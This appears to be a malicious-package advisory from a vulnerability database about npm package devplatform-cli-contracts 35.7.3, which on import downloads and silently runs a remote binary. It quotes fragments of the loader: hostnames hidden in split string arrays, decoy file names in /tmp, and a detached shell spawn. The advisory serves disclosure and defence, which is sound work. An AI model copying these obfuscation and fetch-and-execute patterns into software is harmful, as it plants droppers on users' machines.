MAL-2026-12700

    Dashboard / Malicious Package / MAL-2026-12700

    MAL-2026-12700

    Published: 5 Aug 2026Last Modified: 5 Aug 2026

    Summary: Malicious code in devplatform-cli-contracts (npm)

    Details: Source: amazon-inspector (6bc9fcdf16d7e6c67e3dbc20a6e8bdec551687bc20fffa3c434a35ca387ffade) On require() of the package, index.js loads _compat.js which reconstructs destination hostnames from split string arrays (e.g. ["oob-worker.cf100-416.worker","s.","dev"].join("") and DNS-TXT fallbacks assembled from ['sd','k.dl.wel1.','ru']), fetches a platform-specific binary via HTTPS, writes it to /tmp or %TEMP% under decoy names such as dotnet_diag_<hex>.exe and.cache_<hex>, chmods 0755, and spawns it detached via cp.spawn("/bin/sh",["-c", fp+" &"],{detached:true}).unref(). A cooldown marker (.analytics_state) suppresses repeat execution. The destinations are not publisher-owned infrastructure, the fetched bytes are unverified, and the fetch-and-exec chain fires automatically on import.

    References: https://www.npmjs.com/package/devplatform-cli-contracts/v/35.7.3

    Affected packages

    Package

    Name: devplatform-cli-contracts

    Purl: pkg:npm/devplatform-cli-contracts

    Affected ranges

    Type: N/A

    Events:

    Introduced- None
    Fixed -None

    Affected versions

    35.7.3
    MAL-2026-12700 | CVE-DB